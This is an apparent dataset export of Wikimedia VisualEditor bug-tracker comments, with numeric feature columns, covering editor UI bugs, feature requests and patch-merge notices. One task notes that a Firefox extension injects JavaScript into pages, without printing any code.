Sorry for three issues in one bug, but I guess you guys can figure this out.

--------------------------
**Version**: unspecified
**Severity**: minor"
247792,"VisualEditor: Hieroglyphics tool operating on a selection replaces the content, rather than appending the hieroglyphics block",I can't reproduce any of these issues in Chrome or Firefox. Please re-open with details if you can.,,,1386337120,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-cq2sis2akuochldidpvr,task_subcomment,,True,c1,3,True,,,22,,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,4.0,9.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,9.0,22.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5652173913043477,0.9565217391304348,I can't reproduce any of these issues in Chrome or Firefox. Please re-open with details if you can.
247785,"VisualEditor: Hieroglyphics tool operating on a selection replaces the content, rather than appending the hieroglyphics block","The second and third issues are now fixed. However, you can still ""apply"" hieroglyphics (and LaTeX) to a run of text: this behavior is confusing and nonsensical.",,,1379825433,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-cq2sis2akuochldidpvr,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,3.0,0.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.8857142857142857,"The second and third issues are now fixed. However, you can still ""apply"" hieroglyphics (and LaTeX) to a run of text: this behavior is confusing and nonsensical."
55089,"VisualEditor: When ""section editing"", re-focus on that section after saving the page","Some users on en.wp consider it a bug that VE shows the top of the page after you edit a ""section"", and demand instead that, as VE auto-scrolls to the relevant section when you click Edit, it does the same after you save. Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1376995620,1541160256.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-unso5k7lgj5lojo4gz7w,task_description,resolved,True,c1,3,False,False,False,7,,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,8.0,0.0,10.0,3.0,1.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,10.0,6.0,0.0,3.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.704225352112676,0.6619718309859155,"Some users on en.wp consider it a bug that VE shows the top of the page after you edit a ""section"", and demand instead that, as VE auto-scrolls to the relevant section when you click Edit, it does the same after you save. Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
1170377,"VisualEditor: When ""section editing"", re-focus on that section after saving the page","Yes, it does seem to. There could still be some polishing done to make it smoother, but it does work, so this task is resolved.",,,1541160256,,PHID-USER-kve2ug5yc3dp6ighnmqk,True,,,PHID-TASK-unso5k7lgj5lojo4gz7w,task_subcomment,,True,c1,3,True,,,278,,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.433333333333333,0.7666666666666667,"Yes, it does seem to. There could still be some polishing done to make it smoother, but it does work, so this task is resolved."
1170375,"VisualEditor: When ""section editing"", re-focus on that section after saving the page","It seems to work in recent versions of VisualEditor, isn’t it?",,,1541159845,,PHID-USER-2nopae2cxuamwcbndaih,True,,,PHID-TASK-unso5k7lgj5lojo4gz7w,task_subcomment,,True,c1,3,False,,,278,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,21.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,"It seems to work in recent versions of VisualEditor, isn’t it?"
247756,"VisualEditor: When ""section editing"", re-focus on that section after saving the page",*** Bug 54645 has been marked as a duplicate of this bug. ***,,,1392058252,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-unso5k7lgj5lojo4gz7w,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54645 has been marked as a duplicate of this bug. ***
247755,"VisualEditor: When ""section editing"", re-focus on that section after saving the page","Not sure, is https://bugzilla.wikimedia.org/show_bug.cgi?id=52566 a dupe?",,,1384269494,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-unso5k7lgj5lojo4gz7w,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.375,1.0,"Not sure, is URL a dupe?"
55058,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""","If you have the preference set to ""Edit pages on double click"", then double-clicking on a word while you're already in VisualEditor tries to re-open the page so you can edit it.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Double-click_asks_if_you_want_to_leave_page",Low,25.0,1376935080,1411685035.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_description,resolved,True,c1,3,False,False,False,7,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,10.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,13.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.417910447761194,0.6417910447761194,"If you have the preference set to ""Edit pages on double click"", then double-clicking on a word while you're already in VisualEditor tries to re-open the page so you can edit it.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: URL"
245933,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""","Change 162968 merged by jenkins-bot:
Stop ""Edit pages on double click"" from affecting VE

https://gerrit.wikimedia.org/r/162968",,,1411685541,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,False,,,64,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.9545454545454546,"Change 162968 merged by jenkins-bot:
Stop ""Edit pages on double click"" from affecting VE

GERRIT_URL"
245930,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""","Change 162968 had a related patch set uploaded by Alex Monk:
Stop ""Edit pages on double click"" from affecting VE

https://gerrit.wikimedia.org/r/162968",,,1411676447,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,False,,,64,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,27.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.076923076923077,0.9615384615384616,"Change 162968 had a related patch set uploaded by Alex Monk:
Stop ""Edit pages on double click"" from affecting VE

GERRIT_URL"
245927,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""",Is this now fixed given the above being merged?,,,1411664311,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,True,,,64,,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,Is this now fixed given the above being merged?
245923,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""","Change 150391 merged by Bartosz Dziewoński:
Make mediawiki.action.view.dblClickEdit recheck preference

https://gerrit.wikimedia.org/r/150391",,,1411663651,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,False,,,64,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.571428571428571,1.0,"Change 150391 merged by Bartosz Dziewoński:
Make mediawiki.action.view.dblClickEdit recheck preference

GERRIT_URL"
245914,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""","Change 150391 had a related patch set uploaded by Alex Monk:
Add JS hook to allow extensions to prevent double click from changing to action=edit

https://gerrit.wikimedia.org/r/150391",,,1406667468,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,False,,,56,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,16.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.32258064516129,0.9354838709677419,"Change 150391 had a related patch set uploaded by Alex Monk:
Add JS hook to allow extensions to prevent double click from changing to action=edit

GERRIT_URL"
245905,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""",fwiw 'Enable section editing by right clicking on section titles' is active within VE,,,1380693722,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.5,0.875,fwiw 'Enable section editing by right clicking on section titles' is active within VE
245898,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""","For variety, I confirmed on Chrome/Linux ;-)",,,1380693472,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,20.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,"For variety, I confirmed on Chrome/Linux ;-)"
245892,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""","This was reported in Mozilla 23 on Windows 8, and I reproduced it in Safari 6 on Mac OS 10.7.5, so it's probably universal.",,,1376935250,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,25.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,11.0,14.0,14.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.8571428571428571,"This was reported in Mozilla 23 on Windows 8, and I reproduced it in Safari 6 on Mac OS 10.7.5, so it's probably universal."
54980,"VisualEditor: Show ""Review changes"" link in the toolbar all the time, or available somehow (on hover?) rather than just through save dialog","I am editing a page and something untoward happens.  To review changes, I now have to click ""Save page"", which is sort of like a sign above a circular saw saying, ""To unplug, please saw through wall.  Thank you for your cooperation.""

:p

Perhaps hovering over the ""save page"" button could drop down alternative actions, such as ""save draft of changes"", ""review..."" etc.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1376812680,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,False,PHID-TASK-jacp3aj4vm5u6h6b4chc,task_description,open,True,c1,3,True,False,,6,,0.0,0.5,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,7.5,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.5,2.5,1.0,0.0,0.5,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,4.5,0.0,0.0,0.0,0.0,0.0,8.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,6.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,2.0,7.5,1.0,0.0,8.0,0.0,2.0,0.0,0.5,1.5,0.0,2.0,0.0,0.0,2.0,3.650943396226415,0.6886792452830188,"I am editing a page and something untoward happens.  To review changes, I now have to click ""Save page"", which is sort of like a sign above a circular saw saying, ""To unplug, please saw through wall.  Thank you for your cooperation.""

:p

Perhaps hovering over the ""save page"" button could drop down alternative actions, such as ""save draft of changes"", ""review..."" etc.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
241289,"VisualEditor: Show ""Review changes"" link in the toolbar all the time, or available somehow (on hover?) rather than just through save dialog","Firstly, hover is something we avoid using in VisualEditor as it means the functionality isn't available for those using a touch interface. I don't think this is ""major"" - closer to ""minor"" - but either way it's an enhancement.

Also, there's an existing bug to show what changes you've made as you enter them (e.g. by highlighting the background of the new text, like Microsoft Word's ""tracked changes"" view): bug 37931.",,,1376952013,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jacp3aj4vm5u6h6b4chc,task_subcomment,,True,c1,3,True,,,7,,0.0,1.0,0.0,0.0,2.0,4.0,1.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,1.0,2.0,1.0,8.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,2.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,7.0,3.0,7.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,8.0,10.0,3.0,0.0,7.0,0.0,8.0,0.0,1.0,3.0,1.0,4.0,1.0,0.0,0.0,3.8260869565217392,0.7282608695652174,"Firstly, hover is something we avoid using in VisualEditor as it means the functionality isn't available for those using a touch interface. I don't think this is ""major"" - closer to ""minor"" - but either way it's an enhancement.

Also, there's an existing bug to show what changes you've made as you enter them (e.g. by highlighting the background of the new text, like Microsoft Word's ""tracked changes"" view): bug 37931."
54884,VisualEditor: Broken Foxlingo Firefox extension injects javascript into page,"See reported diff on fr.wp
https://fr.wikipedia.org/w/index.php?title=Debra_Winger&action=historysubmit&diff=95823433&oldid=94552186

The js is from Foxlingo but the liberal sprinkling of nowikis is from VE or Parsoid.

PrimeHunter at en.wp reports that a Google search for FoxlingoJS reveals several other internet forums are suffering the same problems.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1376582220,1412114336.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-nfvv4eym3zcif2i7nb4d,task_description,resolved,True,c1,3,False,False,False,6,,2.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,17.0,2.0,3.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.4,0.7538461538461538,"See reported diff on fr.wp
URL

The js is from Foxlingo but the liberal sprinkling of nowikis is from VE or Parsoid.

PrimeHunter at en.wp reports that a Google search for FoxlingoJS reveals several other internet forums are suffering the same problems.

--------------------------
**Version**: unspecified
**Severity**: minor"
236070,VisualEditor: Broken Foxlingo Firefox extension injects javascript into page,"Change 163961 merged by jenkins-bot:
Remove certain blacklisted elements when getting HTML from document

https://gerrit.wikimedia.org/r/163961",,,1412114004,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nfvv4eym3zcif2i7nb4d,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.2,1.0,"Change 163961 merged by jenkins-bot:
Remove certain blacklisted elements when getting HTML from document

GERRIT_URL"
236067,VisualEditor: Broken Foxlingo Firefox extension injects javascript into page,"Change 163961 had a related patch set uploaded by Alex Monk:
Remove certain blacklisted elements when getting HTML from document

https://gerrit.wikimedia.org/r/163961",,,1412113130,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nfvv4eym3zcif2i7nb4d,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,25.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,5.083333333333333,1.0,"Change 163961 had a related patch set uploaded by Alex Monk:
Remove certain blacklisted elements when getting HTML from document

GERRIT_URL"
54859,VisualEditor: Populate the edit summary for simple changes,"At T53903,  Elitre said:

> A user at it.wp wonders: if VE could pre-populate the summary box, could it
> also auto-add the text that was added, in case of very short additions? i.e.,
> if someone added a parameter to a template, could it automatically detect
> what was added and write it in the edit summary? Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**: T53903, T50274",Low,25.0,1376506380,,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-dy2dbpcxtagget43fzoa,task_description,open,True,c1,3,True,False,,6,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3863636363636362,0.4318181818181818,"At T53903,  Elitre said:

QUOTE
QUOTE
QUOTE
QUOTE

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**: T53903, T50274"
